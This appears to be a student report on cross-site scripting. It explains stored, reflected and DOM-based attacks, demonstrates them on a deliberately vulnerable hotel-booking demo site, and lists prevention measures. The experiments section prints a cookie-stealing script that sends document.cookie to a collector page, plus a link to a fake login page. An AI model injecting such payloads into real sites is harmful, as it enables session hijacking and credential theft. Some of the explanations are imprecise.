Prevention of Cross Site Scripting Attacks

CROSS – SITE SCRIPTING (XSS)

Abstract

Millions of people use many web applications every day, it has made our life better and easier. From social networking to online shopping, from bill payment to content to online reservations. We input our entire life history in many web applications without thinking how safe are these applications. Is there someone who is stealing the information we feed online. One such famous web attack is called Cross-Site Scripting (XSS). This paper mainly focusses on explaining Cross site scripting attacks and how to avoid being a victim of such attack explained with a demo website.

1. I­­ntroduction

As websites has become more and more dynamic, more importance has been given to the user interactions with the website as part of improving user’s experience.  All modern website has one client-side scripting to allow user interaction with the website and a server-side scripting, which takes user http request, takes it to the server and provides http response to its user. The more we include user interactions with the website, the more risk we putting our sensitive data into. One such risk is called cross-site scripting, one of the oldest yet more common vulnerability faced by many modern websites. Attackers exploit vulnerabilities found in the website and uses it to steal user’s sensitive information, there by exploiting the user in many ways possible.

Attackers implement cross-site scripting attack by inserting malicious scripts/data into a vulnerable website using available user interaction available in the website. Attackers able to discover new innovative ways to exploit a user day-by-day. Necessary precautionary measure should be taken by website developers and by website users to protect their sensitive information from vicious attackers.

2. Cross-Site Scripting

Cross-Site Scripting also known as XSS, one of the oldest types of security vulnerability for web applications. According to a recent survey, almost 75% of today’s website are susceptible to XSS attacks ^[1]_.

It is a type of injection attack just like SQL injection, where the attackers inject malicious code into the otherwise well known, trusted and vulnerable website. XSS attacks happen mostly from client-side browsers with the help of user interaction fields found in the web application. Malicious code could be written in any scripting languages, most commonly used are JavaScripting, PHP, VB Script.

Get Help With Your Essay

If you need assistance with writing your essay, our professional essay writing service is here to help!
Find out more about our Essay Writing Service

Implementing a cross-site scripting attack is not difficult for a hacker. All he needs to do is identify a target website which lacks security. Identifying a vulnerable website is pretty simple, when a website parses given input along with rest of the source code during a page load instead of displaying as a data, is susceptible to XSS attacks.

When an attacker inserts his malicious code into the website his job is almost done. He then waits for the other visitors to fall in his traps. Attacks takes place when a normal user visits the webpage which has been injected with malicious code or when user click on the malicious links shared by the attacker. When this happen, website pages will be redirected to the site where the attacker hosting his malicious code to steal sensitive data. Everything takes places in a fraction of seconds and the user won’t even notice that he had been re-directed to a malicious page and that his information has been accessed by someone else apart from the trusted website. 

3. Types of XSS attacks

1.Stored

Stored XSS attack also known as persistent attack is considered as the most dangerous. From an attacker’s stand point it is little difficult to implement stored XSS attack, as the attackers will have very little knowledge about what data will be stored in the web server.  Pictorial representation of Stored XSS attack is shown below.

Figure 1: Pictorial representation of a stored XSS attack

To implement this attack, the attacker locates XSS hole in a website and then inject malicious script into the website server. Most frequent used ways to inject code into the server are via blogs, comments sections, social networking websites and search fields, where the inputted data will be saved in the database. Because the malicious script is stored in the server permanently, this type of attack is more dangerous to both client and server parties.

In the above example, the perpetrator discovers an XSS hole in a web application and decides to exploit it by injecting a malicious script (it can be to steal session/cookie information of the website user, his credit card information or sensitive information related to account login). As the input data is not properly validated by server-side scripts, his input which contains malicious hidden scripts to steal website visitor’s data is stored in the data base of the server. Each time a new user visits the webpage, the malicious script by the attacker is executed by the web browser along with rest of the source code in the database. This is very dangerous because all it takes is a visit to the infected website to lose information for a user and putting large number of user’s information at risk.

2. Reflected XSS

Figure 2: Picture demonstrating a Reflected Cross-site scripting attack

Reflected attack, also known as nonpersistent attack is by far the most common type of XSS attack and it is less powerful compared to stored XSS. Reflected XSS attack is similar to phishing scams sent to email. Attacker creates a malicious links which actually is written to store user’s information and is hosted in a different website server. Which is sent to the user via email. User thinking that the link belongs to the website owner, clicks on it. Without his knowledge, he is redirected to attacker’s malicious script which is stored in some other location captures whatever information he can from the website. The attacker can change user’s credentials, get access to credit card information using stolen information.

Reflected XSS attack can also occur from the webpage itself. First attacker finds XSS hole in the website and injects malicious links in the common public text fields usually a comment/blog section of a website, which will be stored in website server, it is reflected on the webpage every time the page loads. Hence the name reflected XSS. This type of attack won’t affect every users visiting the website, but those who click on the link.  If a webpage gets thousand visits a day, there is a high probability that at least 10 people click on the malicious link, there by exposing their sensitive data to the attacker.

3.  DOM based

DOM-based vulnerabilities occur in the content processing stages performed by client, mostly in client-side JavaScript ^[5]_. DOM based attacks also known as Type 0 or Local cross-site scripting attack

Figure 3: Pictorial representation of DOM based attack

DOM based attacks happen mainly due to not validating HTML pages after it is loaded into the Document Object Model. It is very difficult to catch at server side validation techniques. For instance, if the page is accepting input in the HTML page as,

www.somesite.com/input=”malicious input”

Anything, written after ‘=’ is not passed onto the server. Server cannot enforce any kind of validation techniques , and attacker can exploit this vulnerability and insert some malicious scripts after ‘=’.

4. Experiments

1. Creating a vulnerable web application 

To test XSS attack, created a web application which simulates hotel booking, where a user can login into his account, reserve a hotel, add reviews about hotels and finally, pay by entering credit card information. The website is made vulnerable by no validating user’s input data for reviews/search fields.

Figure 4: Vulnerable web application where malicious scripts can be injected to text fields

In the above website, user can interact with the website through search box and a comment section. Input text fields are not validated. Hence this is a good fit for implementing XSS attack.

2. XSS code injection

Once the vulnerable website has been identified and tested for XSS vulnerabilities, next step is to inject actual malicious script into the application. In our experiment, we implemented stored and reflected attack in this example.  Following JavaScript is injected as a stored attack to permanently steal cookie information of all the users visiting the website. Here, test.php is hosted in some other location, when a page loads, it is being redirected to a different URL, everything happens in a split second. Hence, the user is unaware that there has been a cookie theft

“<script>

new Image ().src=”http://localhost:8081/demo_new/test.php?c=”+document. cookie;

</script>”

“<a href=”http://localhost:8081/demo_new/fakelogin.php”>Get extra 50% discounts through this website. Hurry!!! Only for limited time </a>”

Results of XSS injection

After successful XSS injection into the website attacker’s job is almost done. Each time a new visitor visits infected webpage, cookie stealer script gets activated and redirects user session to another website where the attacker is hosting his scripts. As a result, his session details are captured and written into a cookie.html file. This is an illustration of stored XSS attack. As long as the malicious comments stored in the website server, the website is putting every visitor’s information in danger.

Figure 4:  Victim’s cookie information captured by the attacker and written into a cookie.html file

The attacker has injected comment page with the malicious link to the discounted hotel booking page, it will be reflected on the webpage every time the webpage loads. When a user clicks on the malicious link unknowingly, he will be redirected to a fake login page. User enters his credentials thinking this is a genuine webpage, but data entered in this login page is being sent to the attacker. Now the victim has no idea about his stolen account details.

Figure 5: Reflected Attack’s victim’s account login information captured by the attacker

This is just an attempt to illustrate the how bad a cross-site scripting attack can be. In real world, attacker can make much more damage to the both clients and server of any web application. It can be from annoying popups to stealing some one’s website cookies and there by hijacking session information.

5. Impacts of Cross-Site Scripting

1. Cookie theft – as long as the user’s session is active on the webpage, an attacker can login to the web application as a user and change account information settings. The attacker using this information can impersonate victims.
2. In e-commerce website large number of credit card information is stored in the website. The attacker is not only putting company’s reputations at stake but also exploiting millions of user’s time and money.
3. It is also possible to log all key strokes entered by the user using java script. With keystrokes details, the attacker can guess victim’s browsing details and much more.

Figure 6: Example of keylogger attack ^[7]

4. Attacker can use victim’s account to perform any kind of illegal activities, innocent victim is unaware of such fraud activities originated from his account.
5. Website related worms are easily spread using injection attack   and thus compromising every user who visits website and taking control of their systems.
6. Denial of Service attacks – flooding the website with huge amount of incoming traffic , making it available for legitimate requests.
7. Changing webpage contents and design.
8. Get into affected user’s computer and access their files.

6. Prevention measures to XSS attacks

1. Input Sanitization – remove unsafe characters from the input from client program before permanently storing them in a server. An php input sanitization looks like below example,

$data=filter_input(INPUT_GET,’comment’,FILTER_SANITIZE_SPECIAL_CHARS);

2. HTML encoding – making sure that  ‘<’ is converted into &lt, ‘>’ to &gt, “ to &quot, & to amp etc. or using htmlspecialcharacters(input)
3. Data/input Validation: This is one of the main steps to prevent XSS attacks. Untrusted input has to be scanned for various http tags and enforcing certain restrictions on the inputs. For instance, phone numbers should contain only numbers from 0-9. Comments field must be set to text to avoid accepting malicious links/scripts as inputs.
4. Output escaping: Escaping all characters to corresponding HEX values before storing in the server.

<div attr=”…escape/” some data…“>content^[8]

<script>alert (‘escape some content “) </script>

<script>a=’escape some content’</script>

document.write(escape(“Some Text!!!”));

5. By setting HTTPOnly flag on the session cookie to avoid DOM based attacks. Each language has its own way of setting httponly cookies and some browsers supports it by default.
6. Don not trust anyone – It is very important not to access links which are posted in public forums, though it is posted on the trusted website, it may not be from legitimate sources.
7. Some of the open source libraries like, PHP AntiXSS, XSS_clean.php filter, HTML purifier,

Xssprotect, XSS HTML Filter,

7. Conclusion

If left unfixed cross site scripting can cause serious damage to the client and server of the web application. It can be as simple as an annoying pop window which displayed every time a page is loaded to capturing someone’s sensitive information. It is very disturbing to know that there is someone out there with all our personal information. They can use it in any destructive ways as possible. In this report we saw how cross site scripting works, damage caused by XSS attacks and what are the preventive measures are to be taken to make our information secure.

References

1. Cross Site Scripting (XSS)  https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)  Date and time – 12/1/2018, 2.16PM
2. Cross site scripting (XSS) attacks  from  https://www.incapsula.com/web-application-security/cross-site-scripting-xss-attacks.html  Date/Time – 11/1/2018 1.00 PM
3. Reflected XSS explained: how to prevent reflected XSS in your app on 12/3/2018 1.PM https://blog.sqreen.io/reflected-xss/
4. Ms. Daljit Kaur, Dr. Parminder Kaur,” Cross-Site-Scripting Attacks and Their Prevention during Development”
5. Teena Hadpawat, Dinesh vaya ,” Analysis of Prevention of XSS Attacks at Client Side”
6. Prithvi Bisht and V.N. Venkatakrishnan,” XSS-GUARD: Precise Dynamic Prevention of Cross-Site Scripting Attacks”
7. The Real Impact of  Cross Site Scripting on 10/4/2018 8PM  https://www.dionach.com/blog/the-real-impact-of-cross-site-scripting
8. XSS (Cross Site Scripting) Prevention cheat sheet on 11/4/1018 4PM https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
9. Prevent web attacks using Input sanitization on 11/4/2018 at 7 PM https://www.esecurityplanet.com/browser-security/prevent-web-attacks-using-input-sanitization.html
10. How to Prevent Cross Site Scripting attacks on 11/4/2018 at 4 .30 PM https://resources.infosecinstitute.com/how-to-prevent-cross-site-scripting-attacks/#gref